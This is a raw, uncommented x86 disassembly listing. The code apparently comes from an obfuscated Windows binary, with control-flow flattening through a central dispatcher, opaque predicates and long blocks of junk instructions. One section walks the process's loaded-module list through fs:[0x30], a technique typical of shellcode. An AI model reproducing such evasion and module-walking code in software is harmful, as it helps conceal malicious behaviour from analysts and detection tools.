mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
or edx, 1
mov eax, ecx
and eax, 1
mov esi, edx
not esi
and edx, 0x3d03b5ce
or eax, esi
and eax, 0xc2fc4a31
or eax, edx
mov edx, eax
xor edx, 0x42d80220
xor eax, 0x3d03b5ce
mov esi, eax
and esi, 0xbd25c997
and edx, 0x42da3668
or eax, ecx
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbd25c997
not eax
and esi, 0x42da3668
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0xcaf110a1
mov ecx, eax
not ecx
and eax, 0xc1360f9b
and ecx, 0x3ec9f064
or eax, ecx
xor eax, 0xc1360f9b
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
mov dh, ah
setge al
setl dl
mov cl, al
or dh, al
and ch, dl
or dl, ah
xor cl, ah
xor dh, 1
not cl
and cl, al
and al, ah
or al, ch
or cl, dh
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa69913f7
cmovne eax, esi
test dl, dl
mov edx, 0xa69913f7
jmp 0x40b8d0
mov eax, dword [ebp - 0x130]
mov eax, 0x81b4001c
jmp 0x401540
mov eax, 0x97f06c5e
jmp 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x80802009
mov ecx, edx
or ecx, 0x5d7d17f6
and edx, 0xb71c0e33
mov edi, ecx
and edi, 0x733ede84
or esi, edi
mov edi, eax
xor edi, 0x5d7d17f6
andn edi, eax, edi
mov ebx, edi
not ebx
and edi, 0x8cc1217b
or ecx, ebx
and ebx, 0x733ede84
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xa282e808
and esi, 0x5d7d17f7
or ecx, esi
mov esi, eax
and esi, 0x48e3f1cc
and eax, 1
or esi, edx
xor esi, 0xb71c0e32
or eax, esi
mov edx, eax
not edx
and eax, 0xe6481ac4
and edx, 0x19b7e53b
or eax, edx
xor eax, 0xe6481ac4
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x23088541
and eax, 0xa44000
mov edx, ecx
or edx, 0xc85100bc
and esi, 0xeb5985fd
and ecx, 0x14023a02
and edx, 0xeb5985fd
or ecx, esi
mov esi, 0xcaf28418
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xdc533abe
and ecx, 0x23acc541
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2da7a494
and ecx, 0xd2585b6b
or ecx, eax
xor ecx, 0xd2585b6b
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
mov edx, eax
xor cl, 1
not dl
or cl, ah
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0x9a2beb1f
mov cl, al
xor cl, ch
test al, al
mov eax, 0x9a2beb1f
cmovne eax, esi
test ch, 1
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401540
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x14c], eax
mov eax, 0x24b9bc5b
jmp 0x401540
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
add eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x4a4b7c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
mov dword [ebp - 0xd0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xfbb5aee6
and eax, 0x2b2204c5
mov esi, edx
and esi, 0x44a5119
and edx, 0xd4ddfb3a
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x44a5118
xor eax, 0x2b2204c5
and esi, 0xfbb5aee7
or ecx, esi
mov esi, 0xfcfcbaa2
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe8b29945
and ecx, 0x174d66ba
or eax, ecx
xor eax, 0xe8b29945
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge cl
setl al
xor dl, cl
mov ch, cl
or cl, ah
xor al, ah
xor ch, ah
xor cl, 1
xor dl, 1
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ch, al
xor ch, cl
and cl, al
and ch, al
or cl, dl
mov edx, 0xa5e5fb38
mov al, ch
xor al, cl
cmovne edx, esi
test cl, cl
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, 0xe2301d90
jmp 0x401540
mov eax, 0x623f6575
jmp 0x401540
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0xfdc5e71
jmp 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0xd67ac54a
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xdf1ab428
mov edi, edx
mov esi, eax
and esi, 0x4cf4b4fa
and edi, 0x20014b05
and edx, 0x6969deb1
or edi, esi
mov esi, ecx
xor esi, 0x20e54bd7
and esi, ecx
and ecx, 0x9696214e
mov ebx, esi
not ebx
and esi, 0xb30b4b05
or ecx, edx
or eax, ebx
and ebx, 0x4cf4b4fa
or esi, ebx
not eax
xor esi, edi
mov edi, 0xde3a50d5
or eax, esi
mov esi, eax
not esi
and eax, 0xf6afb25a
and esi, 0x9504da5
or eax, esi
mov esi, eax
xor esi, 0x50426980
xor eax, 0x29b50673
mov edx, eax
and edx, 0x8618966e
and esi, 0x79e76991
or esi, edx
mov edx, ecx
xor edx, 0x10862100
xor ecx, 0x89620
and ecx, 0x8618966e
and edx, 0x79e76991
or edx, ecx
xor edx, esi
mov esi, 0xefef8f29
not edx
or edx, eax
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x4a4b78], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xdf212fc8
mov esi, eax
and esi, 0x20ded036
or eax, 0xe5fd9cdc
or edx, esi
and eax, 0xe5fd9cdd
mov esi, edx
xor esi, 0x1a002300
xor edx, 0x20dc9015
and edx, 0xe5fd9cdd
and esi, 0x1a026322
or esi, edx
xor eax, esi
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
mov esi, 0xe7635644
xor edx, eax
test edx, eax
setne dl
sete ah
cmp dword [0x4a4b78], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
mov cl, al
and al, ch
xor cl, 1
xor al, 1
and cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x23c511dd
cmovne ecx, esi
test al, 1
mov eax, 0x23c511dd
cmovne eax, ecx
jmp 0x40d7c7
inc edi
rol edx, 0xf2
dec esi
and ebx, 0xed
ror edx, 0xe2
mov ebx, 0xaf
dec eax
bswap edi
dec ebx
neg edx
rcr eax, 0xbb
dec edi
imul ebx
dec ebx
bswap edi
dec edi
bswap ebx
inc ebx
rcl edi, 0xed
inc ebx
inc esi
not esi
ror edi, 0x31
dec eax
not eax
inc edi
or edx, 0x38
mov esi, 0x5c
bswap esi
or eax, 0xfa
dec edx
sub eax, 0xb0
add eax, 0x5b
not esi
rol edi, 0x70
not eax
rol ebx, 0x2f
rol edx, 0x71
sub eax, 0xfb
imul ebx
ror ebx, 0x81
or eax, 0xee
imul edx
rcr ebx, 0x80
rcl edi, 0x91
inc ebx
bswap eax
sub edx, 0xe7
imul edi
mov ebx, 0xe
bswap edi
rol esi, 0x96
bswap ebx
rcl edi, 0xd3
neg esi
bswap edx
sub ebx, 0xfa
dec edx
neg esi
bswap edi
dec esi
dec edi
sbb esi, 5
sbb edx, 0x97
inc edi
rcr ebx, 0x22
dec esi
rol eax, 0xea
neg edi
add edx, 0xd6
inc eax
ror ebx, 0x6b
bswap edx
ror edx, 0x21
inc eax
and edi, 0x9f
add edx, 0xb2
rcr ebx, 0xdf
dec ebx
add edx, 0x34
ror esi, 0xc5
inc esi
dec esi
bswap ebx
bswap esi
not esi
mov eax, 0x45
neg edi
neg eax
rol eax, 0xf1
rol esi, 0x31
neg esi
neg edi
bswap edi
not ebx
neg edi
rcl esi, 0xce
sbb edx, 0xa5
dec ebx
bswap ebx
dec edx
imul eax
rcr eax, 0xc8
ror eax, 0x12
not eax
not edi
or edi, 0xd1
imul edi
sub esi, 0x8d
dec ebx
rcl esi, 0x4a
dec edx
add esi, 0xfc
sub esi, 1
and esi, 0xd0
rcl edi, 0xa7
add edi, 0x1b
not eax
not edx
dec ebx
rcr edi, 0x76
imul edi
or ebx, 0xc1
bswap edi
or eax, 0x15
ror eax, 0xec
sub esi, 0x9b
add edi, 0x64
sub ebx, 0xf3
neg eax
bswap ebx
rcr ebx, 0x57
inc esi
dec esi
not ebx
bswap edx
neg edx
rol edi, 0x19
neg edx
neg eax
add edx, 0xeb
sub ebx, 0xf4
sub eax, 0x7e
bswap edx
dec esi
bswap eax
add eax, 0x89
bswap edx
mov ebx, 0xa3
add edi, 0x31
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, 0xa059255c
jmp 0x401540
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0x4339a696
jmp 0x401540
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, 0x4ab2fde
jmp 0x401540
mov eax, 0xae3facb0
jmp 0x401540
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, 0x8872534d
jmp 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc0]
mov eax, 0xfac975e5
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x984ad0d5
mov esi, eax
not esi
and edx, 0x67b52f2a
and eax, 0x67b52f2a
or ecx, esi
and esi, 0x984ad0d5
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edi, ecx
not edi
mov esi, ecx
and esi, 0x78355493
and ecx, 0xb8044108
mov eax, edi
and eax, 0x87caab6c
or edi, 0x43f398f3
or esi, eax
mov eax, esi
mov ebx, esi
xor eax, 0x78355493
xor ebx, 0xc439339f
xor esi, 0x834a2a6c
and ebx, eax
and esi, 0xd37b7efc
mov edx, ebx
not edx
and ebx, 0xbad5c9b9
mov dword [ebp - 0x64], edx
and dword [ebp - 0x64], 0x452a3646
or edx, edi
and edi, 0x452a3646
add ebx, dword [ebp - 0x64]
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x2a65d2e6
and ecx, 0xd59a2d19
or edx, ecx
mov ecx, eax
and ecx, 0x2c848103
and eax, 1
or ecx, esi
xor edx, 0x69964a14
mov esi, ecx
xor esi, 0x50714849
xor ecx, 0x28048000
or eax, esi
and ecx, 0xab0eb6b4
and eax, 0x54f1494b
or eax, ecx
xor eax, 0x54f1494b
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xa145b96f
and edx, 0x5eba4690
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5eba4690
or eax, esi
and esi, 0xa145b96f
or ecx, esi
not eax
mov esi, 0xb2defd07
xor ecx, edx
or eax, ecx
sete al
setne cl
cmp dword [0x4a4b78], 0xa
setge dl
setl ah
mov ch, dl
and al, dl
and ah, cl
or ch, cl
or al, ah
mov dl, ch
xor dl, 1
mov cl, dl
and cl, ch
xor cl, 1
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, dl
xor cl, al
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xdfda00e0
cmovne edx, esi
test al, al
mov eax, 0xdfda00e0
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x401540
mov eax, 0xb4bef297
jmp 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xea4878c4
mov esi, edx
and esi, 0x15b7873a
and edx, 0xe3f6ea7f
or ecx, esi
mov esi, ecx
xor esi, 0x62402000
xor ecx, 0x15b7873b
mov edi, ecx
and edi, 0x8cbfdcc4
and esi, 0x7340233a
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x1c091580
mov ebx, edi
not ebx
and edi, 0x7340233b
or eax, edx
or ecx, ebx
and ebx, 0x8cbfdcc4
xor eax, 0x1c091580
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x7cad184a
or ecx, edi
mov edi, 0x7c87c4f3
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x300cef38
and ecx, 0xcff310c7
or eax, ecx
xor eax, 0x300cef38
setne dl
sete al
cmp dword [0x4a4b78], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
xor dl, 1
or dh, ch
and al, ah
xor cl, dh
or al, dl
and cl, dh
xor al, 1
xor cl, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x7c87c4f3
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x401540
bswap edx
bswap esi
sbb ebx, 0xca
and ebx, 0xe2
and edx, 0xa
rcl esi, 0x8d
sub eax, 0xfe
neg esi
imul ebx
bswap eax
sbb edx, 0x6d
bswap edx
imul edx
sub ebx, 0xe1
mov esi, 0x81
or esi, 0x96
rol esi, 0x8a
not ebx
imul esi
sub edi, 0x25
neg edi
inc esi
ror ebx, 0x4e
rol eax, 0x87
not eax
imul eax
sbb edx, 0x8f
inc ebx
neg ebx
ror eax, 0x6e
bswap eax
mov edx, 0xa
and ebx, 0xe6
rcl eax, 0xb4
ror ebx, 0xef
rcr edx, 0xfb
mov edi, 0xd
ror esi, 0x62
or edi, 0x6b
sub esi, 0xc3
or ebx, 0xec
mov eax, 0x37
bswap ebx
not edi
add ebx, 0x7f
bswap edx
inc edi
not esi
rol ebx, 0x57
sbb ebx, 0x8d
add edi, 0x3a
dec ebx
sub eax, 0x94
not esi
rcr edi, 0xa9
rol edx, 0x96
imul esi
bswap ebx
sbb ebx, 0xfb
neg edi
imul eax
mov esi, 0xb7
sbb ebx, 0xc7
add edx, 0
not eax
neg eax
rcr eax, 0xe
dec eax
sbb ebx, 0x13
sbb edx, 0xa8
bswap ebx
bswap eax
imul ebx
rcl edx, 0x64
imul esi
rcr edi, 0xdc
and edx, 0xb5
or ebx, 0xb2
neg eax
rcr ebx, 0
imul esi
rcr edx, 0x8d
inc edi
rol edx, 0xe8
sub eax, 0x71
inc ebx
mov esi, 0xfb
sbb esi, 0x39
neg edx
or ebx, 0x82
neg esi
sub eax, 0x91
ror esi, 0xe3
and ebx, 0xa1
not esi
dec eax
dec esi
not esi
dec edx
sub edx, 0xea
not edx
inc edx
dec eax
not edx
sbb edx, 0x79
rcr edi, 0xd9
and ebx, 0x5e
neg esi
not edi
imul esi
imul edi
dec edx
not eax
inc eax
neg esi
imul eax
bswap esi
add esi, 0x52
not edx
bswap ebx
and eax, 0x71
sbb eax, 0xe0
add eax, 0x39
rcr edx, 0x86
ror ebx, 0x97
inc eax
mov edx, 0xd6
not edi
neg ebx
dec edx
and eax, 0x9e
bswap edx
neg ebx
not eax
add ebx, 0x4b
inc edx
inc edi
ror edi, 0xa9
or ebx, 0xe6
and ebx, 0x27
or esi, 0xba
bswap eax
bswap edx
dec esi
sub eax, 0xc2
rol ebx, 0x22
bswap ebx
neg esi
rol ebx, 0x53
not edx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe0]
mov eax, 0xb07a4733
jmp 0x401540
mov eax, dword [ebp - 0x50]
mov edi, 0x3a586c6e
mov dword [eax], 0x40
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x45c90b2e
mov ecx, edx
and ecx, 0x45080b00
and eax, edx
not edx
and edx, 0xc1002e
or ecx, edx
mov edx, ecx
xor edx, 0x40000800
xor ecx, 0xbaf7f4ff
mov esi, ecx
and esi, 0x9f9cc3f1
and edx, 0x4041080e
or edx, esi
mov esi, eax
not esi
and eax, 0x60633c0e
or ecx, esi
and esi, 0x9f9cc3f1
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa9fc6223
and eax, 0x56039ddc
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x13ca96f2
xor eax, 0xec35690d
xor edx, 0xec35690c
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov esi, eax
or esi, 0x24900015
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x8a6dd142
and ecx, eax
and esi, 0x2efc8157
and edx, 0x80015000
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd1037ea8
or eax, esi
and esi, 0x2efc8157
or ecx, esi
not eax
mov esi, 0x4b401694
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x75922ebd
and eax, 0x8a6dd142
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfbc3b811
and ecx, 0x43c47ee
or eax, ecx
xor eax, 0x43c47ee
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge cl
setl ch
mov al, cl
or cl, ah
and ah, ch
xor ch, dl
xor cl, 1
and al, dl
or cl, ch
or al, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
mov eax, 0x4b401694
cmove esi, eax
cmovne esi, edi
test dl, 1
cmovne esi, edi
mov eax, esi
jmp 0x401540
mov eax, 0x8dd87e10
jmp 0x401540
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0xdacf31c1
jmp 0x401540
mov eax, 0xd967f256
jmp 0x401540
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x64f0cb39
jmp 0x401540
sbb edi, 0x48
imul edi
not edi
inc esi
neg edi
sub esi, 0x53
rcr esi, 0x6a
neg eax
sub edi, 1
imul edx
bswap ebx
and edi, 0x69
sub edx, 5
imul edi
mov edi, 0xe4
dec eax
rcr edi, 0x59
and esi, 0xf9
neg esi
not edi
rol esi, 2
bswap esi
bswap eax
sbb ebx, 0x8b
inc edi
dec eax
imul edi
mov edi, 0xd
rcl esi, 0x88
rcl eax, 0xdb
sbb ebx, 0xaa
inc esi
neg esi
bswap esi
rcr ebx, 0x2d
imul ebx
dec edi
neg eax
dec esi
or eax, 0xeb
or edx, 0x8f
rol edi, 0xaf
dec edi
imul ebx
add ebx, 0x96
bswap ebx
inc edi
or esi, 0x5f
rcr ebx, 0xc2
inc edx
add esi, 0xe4
neg eax
imul ebx
ror esi, 0xa9
mov edx, 0x54
rcl esi, 0x49
mov esi, 0xd0
or esi, 0x7d
or eax, 0x35
neg eax
ror edi, 0x98
imul edx
bswap edi
bswap ebx
rcl edx, 0xf9
rcr edi, 0x6a
inc edi
sub esi, 0x6a
rol eax, 0x31
or edx, 4
dec esi
inc ebx
or ebx, 0x89
mov edx, 0xe
ror ebx, 0xf2
not edx
not edx
mov eax, 0xce
mov ebx, 0x26
neg edi
not eax
not edi
neg ebx
neg ebx
neg esi
sbb ebx, 0xde
add ebx, 0x24
neg edi
dec ebx
and ebx, 0xa2
sbb eax, 0x61
mov ebx, 0xbf
rcl edx, 0x38
and eax, 0x1d
bswap esi
sbb edi, 0xe2
inc edx
bswap edi
add edi, 0x4f
imul esi
imul ebx
or esi, 0xb
imul eax
rcr eax, 0xb6
inc edx
rol edi, 0x8b
inc esi
rol edi, 0x69
or eax, 0x4d
dec edi
add edx, 0xf0
rol eax, 0xf0
not edx
neg edx
and eax, 0xdb
ror ebx, 0x90
bswap esi
rol esi, 0xe3
rol edi, 0xaf
and ebx, 0x9a
imul esi
imul eax
bswap eax
not esi
add edi, 0xb4
add esi, 0xd5
rcl esi, 0x1b
ror esi, 0x2b
add edi, 0x83
dec esi
dec edi
ror edi, 0x9c
not ebx
imul edi
imul ebx
neg ebx
rcr ebx, 0xfe
rol ebx, 0xaa
rol esi, 0xf9
neg eax
dec edi
neg esi
dec edi
add edx, 0x6d
not edx
rcr ebx, 0x46
rcr esi, 0x35
not eax
or eax, 0xe5
imul edi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x88]
add eax, 0xfffffff8
mov dword [ecx], eax
rcl edx, 0x9a
inc esi
mov esi, 0x71
bswap edx
dec ebx
rcr edi, 0x58
rcr eax, 0xd3
sbb edi, 0xfb
bswap ebx
ror edx, 0x42
ror edi, 0x5f
add eax, 0x3a
sub edx, 0xf2
not esi
inc eax
neg ebx
ror ebx, 0x78
imul esi
rcr esi, 0x85
sbb esi, 0x60
not esi
dec eax
dec ebx
rcr ebx, 0xad
rcr eax, 0xfd
rcl edi, 0x7f
add edi, 0xbf
rcl edi, 0x13
bswap eax
inc edi
rol ebx, 0x93
rcr ebx, 0x7e
mov ebx, 0xc7
inc ebx
neg edx
rcr edi, 0x5c
rcl edi, 1
rcr esi, 0x79
bswap edi
not esi
neg ebx
inc edx
bswap edx
inc edi
not edx
not edi
imul ebx
ror ebx, 9
inc eax
inc ebx
sub edi, 0x36
not ebx
not edx
not edi
or edx, 0xf8
bswap eax
bswap edi
imul edx
and edi, 0xdb
imul edx
inc ebx
rcl edi, 0xfd
dec ebx
imul ebx
not edx
rcl eax, 0xfd
dec ebx
mov edx, 8
sbb edi, 0xfa
inc esi
rol eax, 0xc6
rcl edx, 0x49
dec ebx
rcl edx, 0x6a
neg edx
bswap eax
not ebx
or edi, 0xd9
imul edi
bswap edi
and esi, 0xc2
or ebx, 0xf
rcr edi, 0xe4
inc eax
ror eax, 0xaa
rol edi, 0xa1
or eax, 0xa7
mov edi, 0x64
not edx
bswap edi
inc esi
neg edi
rcr edi, 0x8e
and edx, 0x50
rcr ebx, 0xad
bswap edx
rcl ebx, 0x25
imul edi
not esi
rcr eax, 0xe4
bswap edx
ror edx, 0xad
ror eax, 0xc6
sub edi, 0x50
bswap edx
and edi, 0xa
mov ebx, 0x5b
rcr edx, 0x18
rol edx, 9
sbb eax, 0xf0
imul eax
dec ebx
inc eax
rol edi, 0x45
inc ebx
inc eax
dec edi
bswap ebx
or ebx, 0x14
and esi, 0x94
sbb ebx, 0xb8
dec edx
mov ebx, 4
dec edi
rol ebx, 0x1b
mov edi, 0x97
add eax, 0xf8
neg edx
dec esi
rcl eax, 0xb3
dec eax
and edx, 0x34
dec ebx
inc esi
inc ebx
or ebx, 0x52
bswap edi
sub ebx, 0xfa
inc edx
dec eax
sub edx, 0x29
rcl ebx, 0x29
dec eax
imul ebx
inc ebx
bswap eax
sub esi, 0x60
not esi
rcl edx, 0xbe
rcr edx, 0x87
mov eax, 0x23c511dd
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x40070102
mov esi, ecx
xor esi, 0xc087a196
mov edx, eax
and edx, 0x8080a094
and esi, ecx
and eax, 0x2ef0b3af
or edi, edx
xor edi, 0x40070102
or esi, edi
mov edx, esi
not edx
and esi, 0xcff24a37
and edx, 0x300db5c8
or esi, edx
mov edx, esi
xor edx, 0xd60c300
xor esi, 0x508a1417
and esi, 0x529f3cb7
and edx, 0xad60c348
or edx, esi
mov esi, edx
xor esi, 0x2c608308
xor edx, 0x529f3cb7
mov edi, edx
or edx, ecx
and ecx, 0xd10f4c50
and edi, 0xd10f4c50
and esi, 0x2ef0b3af
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xcdf85b02
or edx, eax
mov eax, edx
not eax
and edx, 0xad462b7f
and eax, 0x52b9d480
or edx, eax
xor edx, 0xad462b7f
setne al
sete cl
cmp dword [0x4a4b78], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x939d3f03
cmovne eax, esi
test cl, cl
mov ecx, 0x939d3f03
cmovne eax, ecx
test dl, dl
cmove eax, esi
jmp 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
or esi, 0x389801e
mov ecx, edx
mov edi, edx
or ecx, 0x48605301
and esi, 0x4be9d31f
and edi, 0x4002c60
and edx, 0xbc113627
or edi, esi
mov esi, eax
and ecx, 0x4be9d31f
and esi, 0xb0160080
and eax, 0x43eec9d8
or esi, ecx
or eax, edx
xor esi, edi
mov ecx, esi
not ecx
and esi, 0x3cdc187a
and ecx, 0xc323e785
or esi, ecx
mov ecx, esi
xor ecx, 0x6084221a
xor esi, 0x8e4080a0
and esi, 0x9e78c5a0
and ecx, 0x61873a5f
or ecx, esi
mov esi, ecx
xor esi, 0x60063a0e
xor ecx, 0x9e78c5a0
mov edx, ecx
and edx, 0x9d89c151
and esi, 0x62763eae
or esi, edx
mov edx, eax
xor edx, 0x42660888
xor eax, 0xbc113627
or ecx, eax
and eax, 0x9d89c151
and edx, 0x62763eae
or edx, eax
not ecx
xor edx, esi
mov esi, 0x1aea8fdb
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xcbb51043
and eax, 0x344aefbc
or ecx, eax
xor ecx, 0xcbb51043
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
mov ch, cl
or cl, al
xor dl, 1
xor cl, 1
xor ch, al
mov eax, 0x1a2bf44a
or cl, dl
mov edx, ecx
xor dl, ch
test cl, 1
cmovne eax, esi
test ch, ch
mov ecx, 0x1a2bf44a
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401540
mov eax, 0x99b6e9f0
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0xbaa16f
mov edi, eax
mov esi, edx
and esi, 0x4ac3d1d3
and edi, 0xb5040e00
and eax, 0x4c27a236
or edi, esi
mov esi, ecx
xor esi, 0xff455e90
and esi, ecx
mov ebx, esi
not ebx
and esi, 0xb53c2e2c
or edx, ebx
and ebx, 0x4ac3d1d3
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xda839f48
and esi, 0x257c60b7
or edx, esi
mov esi, edx
xor edx, 0x48212226
xor esi, 0x25c6c1d9
mov edi, esi
or esi, ecx
and ecx, 0xb3d85dc9
